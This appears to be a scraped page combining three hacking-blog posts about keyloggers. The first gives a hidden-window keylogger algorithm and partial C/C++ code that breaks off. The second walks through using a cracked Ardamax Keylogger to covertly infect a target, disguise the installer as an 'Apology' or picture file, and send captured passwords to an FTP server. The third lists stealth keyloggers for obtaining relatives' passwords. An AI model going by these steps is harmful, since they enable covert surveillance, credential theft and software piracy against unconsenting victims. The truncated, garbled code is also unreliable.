How to code keylogger in C programming Language

How to code keylogger in C programming language : C codechamp has brought you a detailed tutorial on how to write a Keylogger code in C programming.
C program of Keylogger or keystroke loggerKeylogger is a computer program which captures all the key strokes pressed by user in real time. It captures all the keys and write them to some file say log.txt and stores it on computer hard disk. Now sending these logs to emails or FTP address depends upon the type of keylogger that is keylogger is remote keylogger or physical keylogger. Physical keyloggers are useful when you have physical access to that system and can retrieve logs personally. While remote keyloggers can be used from anywhere in the world, the only requirement is that victim must have internet connection. Today we will be writing a C program of Physical keylogger or Keystroke logger which requires physical access of the system. We will be extending our logic in further programs to make it remote keylogger which sends logs to FTP’s and Emails directly. So first of all lets see how simple keylogger program works…
C program of Keylogger or Keystroke logger
Algorithm for writing a Simple Keylogger :

1. Create an Empty log file for storing keylogs.
2. Intercept keys pressed by user using GetAsyncKeyState() function.
3.  Store these intercepted values in file.
4.  Hide the Running Window Dialog to make it undetectable.
5.  Use while loop to make it running in all conditions.
6.  Add Sleep() function to reduce the CPU usage to 0%.

Now let us see the C program of keylogger or keystroke logger which intercepts all the keys pressed by the user and store these pressed keys in log file.
C program of Keylogger or keystroke logger :
#include
#include
#include
#include
using namespace std;

int main()
{
bool runlogger = true;
ofstream log;
//where your logs will be stored
log.open("C:\log.txt", ofstream::out);
//displaying error message when unable to open file
if(log.fail())
{
printf("Error in opening log.txt filen");
}
//Code for hiding running dialog
HWND hideIt = FindWindow("ConsoleWindowClass",NULL);
ShowWindow(hideIt,0);
//Logic for capturing keystokes ........
...................
To view the complete C program visit my website on C programming :

C program of Keylogger or keystroke logger | C codechamp

 Bookmark my website for Learning C programming like champs.

How To Make A Keylogger & Hack Email Passwords

How to hack yahoo, msn, orkut, gmail or any websites login user name & password anything, you can hack anything using keylogger,keylogger is also known as keystroke logger keylogger is a hardware device or small program that monitors each keystroke a user types …

How To Make A Keylogger & hack passwords of anysite using this!!!
I ll show u step by step process for successfully creating keylogger, sending it, and receiving information using Ardamax Keylogger. Now, in this guide, I only use one method of receiving information, and that’s an FTP. I also do not protect the files.

  • Process begins Click here you will move to a Adramax site and scroll down the page and Download the free trial version.
  • After downloading, open the program and install it. Simple enough, right? After installing, go to wherever you installed it at, and open it. It should open at the bottom right corner of your screen, down by the time. If not, press ctrl+shift+alt+h. Now, leave that alone.
  • Next, Click here and download the exact serial
  • Now, open it, and it should give you a name and a jumble of letters and numbers.
  • Go back to the Ardamax icon at the bottom right, and right-click it.
  • Click the “Enter Registration Key” button.
  • Use your serial/crack to unlock the full version. Congratulations, you are now ready to make your first deployment package.
  • ~NOTE~ If u interested in attaching a keylogger for an already existed file, move on and just place it on ur desktop.
  • ~NOTE~ Again, right click the icon at the bottom-right.
  • Click “Remote Installation“.
  • Click next.

    Further if ur interested in attaching ur keylogger for an already existing file, click the box which says that “Append keyloggers engine

  • If u tick it, click Browsee, and select The file.
  • If ur not yet satisfied then ,move down. Then Installations folder on the target- computer needs to remain Windows System Folder for added security, so leave it be

    You can add an additional component which u like i leave it mine as “log viewer” as i want to grab are da p/w’s for gamez

  • From this point, Click next.
  • Now, this part is self explanatory. I tick all of the boxes, as to hide it from everything visible, otherwise they can just see it and be like “Wtf“, uninstall, etc.
    Can’t have that, now can we?
  • Click next.
  • For Security, do what you want. I leave all of it as-is and click next again.
  • Now, untick the “Check for updates” box, else it will check for updates on their computer and they will know that they are bugged.
  • Click next.
  • Tick the “Start in hidden mode” box, and leave the “Run on windows startup” as-is.

    You may pick a date to self destruct, if you like. Sounds noisy, right? It simply removes itself on selected date. If not, leave it alone, and it will never self destruct.

  • Click next.
  • Tick the “Send logs every..” box, and choose how frequently you would like to recieve information that has been sent.
  • Select ‘FTP‘ and de-select everything else as a delivery method.

    You may choose what you want to see. I have taken “ screenshots“. as it cause lagging .
    You Leave that ‘log format’ alone.

    You can chose to send logs if it is exceeding to a certain size, or if ur interested in send no matter wat, untic the box, wat i have done.
    Continue on! (next.)

  • Now the fun part. -_-. Head on over to: http://phpnet.us/
  • Make an account, etc etc.

    Save your FTP Account name and password. You’ll need it in a moment. This site will be the site that holds all information recieved by the keylogger. When you’re done, scroll down a bit. Under “FTP Accounts“, click “File Manager“.

    Near the top, click the “New Dir” button, and create a directory by any name you want. My favorite is “scrapur“. Now, hold that thought. Bring the keylogger back.
    In Ftp Host, put in: ftp.phpnet.us
    In “Remote Folder“, put in the new directory’s name you made. So, in this scenario, “lolbeans” without the “‘s.

  • Fill in your Username and Password.
  • I left That “Passive Mode checked” as I’m not aware of what it does, rofl. :[
  • You can leave That port also alone . It’s default.

    You have to be sure that everything till now is correctly done by u , click it on test. It should tell you it all went through. And to double check, you can refresh your open window. Click your “scrapur” directory and there should be a test file in it.

  • Click next, if you’re still alive.
  • Tick anything and everything you want. Click Next.
  • If you selected screenshots to be enabled, pick how you want them delivered. Click next. If not, ignore this step.
  • Browse the page were you want to place the keylogger. you have a plus point of changing the icon, which is nifty. If u want to apologies to ur friend, u can change & make ur own icon just goto notepad and name it as “Apology“, thats it you are done with it. ClickNext.
  • This screen will go over with you everything that you have chosen. Make sure it’s all correct.
  • Click Finish.

    Now, if you appended the keylogger to something, you’re going to need to put the “install” (feel free to rename it so it’s not so obvious) and appended file into a .zip or .rar file.

  • If not, you have the simple “Install” on your desktop. Also, feel free to rename it to something like “Apology” or “OMFGFunnypicture!!!.jpg
  • Upload the file or .rar/.zip somewhere, and let your target download it. They will double click it, and on their end, nothing will happen, but secretly, they have been keylogged.
  • Check your FTP Directory that you made as frequently as you told it to send logs, and you’ll have everything you need.
  • Feel free to test it out on yourself. Reply me if you Like It .
  • Top 10 Free Keyloggers to monitor your Local PC and Laptop

    However If your are planning to monitor only your PC or any PC which you have control of, then you can blindly go for “Hardware Keyloggers” as they are the safest keyloggers and operate in a complete stealth. If you Still wanna Prefer Free Keyloggers then below is the list of Free keyloggers that will really help you monitor your PC and get your sisters or spouses passwords.
    Free tested Keyloggers to monitor your Local PC or Laptop
    Disclaimer: I have tested these free keyloggers available to bring you my favorites, However I hold no responsibility for the free keylogger software’s i link to.
    [ * ] The keyloggers are ranked according to Ease of Use and Capability. In some keyloggers you need to choose secrete keycode or password or some keyboard key combination to view the control panel. So Its highly recommended that you read the “readme” text or instructions of each keylogger.

    #1. REFOG Free Edition

    Refog Free Keylogger beats competition in two respects: it’s simple to use and it’s free. REFOG Free Keylogger can look after your children without them even noticing. Even technically minded children won’t detect the key logger when it runs in a stealth mode. The program removes all the shortcuts and can be accessed only through a hot key combination. Running unobtrusively from the moment the system boots, REFOG Free Keylogger keeps track of all typed or pasted text.

    #2. Black box express [My favorite]

    Simple to use monitoring of one local computer; Monitor Screen recordings, Programs, Keystrokes typed, Websites, Web Searches, Emails/Webmails/ Instant Messenger Chat sent and received. Alerts and Warnings instantly or as a summary on your e-mail or cell phone. everything for 100% Free. No strings attached.

    #3. Personal keylogger [portable]

    The Personal Keylogger application was designed to be a small tool that will allow you to secretly record all keystrokes and other input. All specific instructions are explained in the application. To exit it and receive your logs, you will need to enter in your keycode. If you have forgotten your keycode, you will need to restart the computer. Keycode is like password. To stop Personal keylogger, you can enter your keycode anywhere on the screen. Once you type-in your keycode, the keylogger will stop monitoring and the log.txt file will be created in your selected destination folder.

    #4. Py keylogger

    PyKeylogger is an easy-to-use and simple keylogger written in python. It is primarily designed for backup purposes, but can be used as a stealth keylogger, too. It does not raise any trust issues, since it is a short python script that you can easily examine. It is primarily designed for personal backup purposes, rather than stealth keylogging. Thus, it does not make explicit attempts to hide its presence from the operating system or the user. That said, the only way it is visible is that the process name shows up in the task list, so it is not immediately apparent that there is a keylogger on the system.
    #Tip: Press and hold ‘left-CTRL + Right-CTRL + F12′ keys simultaneously to bring up the Control Panel (default password is blank).

    #5. Heretic Macro

    Heretic is a powerful tool that is able to record user events, such as mouse clicks and keys, into a C/Java-like script, and play that script either once or repeatedly. It has many commands for dynamic pixel-based botting, window based botting, and static botting/macro-ing (i.e. key presses, mouse clicks, mouse moves, and pauses).

    #6. Ultimate Keylogger

    Ultimate Keylogger Free is a free popular all-round monitoring solution. It runs in the background and monitors all typed keystrokes, applications, passwords, clipboard, email, and visited websites’ URLs. You can view the reports as HTML files. Ultimate Keylogger Free will help you to find out, what exactly took place in the system.

    #7. Actual keylogger

    It runs hidden in the background and automatically records all keystrokes (including Alt, Ctrl and other functional buttons). The interface can be password protected and the log files are encrypted. You can view the reports as HTML or plain text. In the hidden mode it is invisible in all operating systems.

    #8. Revealer Keylogger Free Edition

    Revealer Keylogger is surely the easiest and faster way to record keyboard inputs. There is almost nothing to configure, in fact everything is configured internally with the best settings. Free keylogger monitoring tool that logs every keystroke even passwords behind asterisks and conversations in common instant messengers. Its interface is password protected, the software does not appear in Add/Remove programs or in the taskbar.

    #9. Romaco Keylogger

    Romaco Keylogger is a small and easy to use tool that can log all key-presses that are made while it is running, and display them to you in its window. It automatically exports the logged text to a text file every 5 minutes, or manually. It can be hidden at the click of a button, and recalled by vigorously pressing one of the least used keys on the keyboard, the break key.

    #10. KidLogger

    KidLogger collects user activity journal on the Computer and creates detailed Analysis of the user activity available online. Creates the list of most used web sites. Record the text was typed on the keyboard in any application

    Let me know which one you liked or if you are facing any problem installing any of these, please comment your problems below. I would love to solve you problem. Enjoy!